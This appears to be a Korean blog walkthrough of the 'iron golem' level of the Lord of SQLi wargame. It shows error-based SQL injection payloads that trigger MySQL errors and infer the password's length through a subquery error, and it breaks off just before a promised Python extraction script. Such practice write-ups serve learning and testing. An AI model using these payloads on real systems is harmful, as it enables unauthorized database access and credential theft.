Wargame/LOS

[LOS] iron golem 풀이 (st.21)

bjloed 2020. 5. 30. 23:59

 

 

풀이

 

이번에는 지금까지 봤던 문제들과는 조금 다르다.

다음 코드를 주목하자.

if(mysqli_error($db)) exit(mysqli_error($db));

이번 문제는 Error Based SQLi인 듯하다.

먼저 다음 쿼리를 넣어 에러를 출력해보자.

 

Query:  ?pw=1'

> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

 

Query를 보내 확실하게 Error Based SQLi인 것을 확인했다.

먼저 에러를 이용해 pw의 길이를 구해보자.

여러분들은 부등호를 이용해 정확한 값을 찾아내자.

 

Query: ?pw=1' or if(length(pw)=32,(select 1 union select 2),1)%23

> Subquery returns more than 1 row

 

이렇게 오류가 뜨면 if문이 참이란 뜻이다.

우린 if문을 통해, pw의 길이가 32자인 걸 알아냈다.

 

이젠, 파이썬을 이용해 정확한 pw값을 알아내자.

코드는 다음과 같다. 역시 대소문자에 유의하자.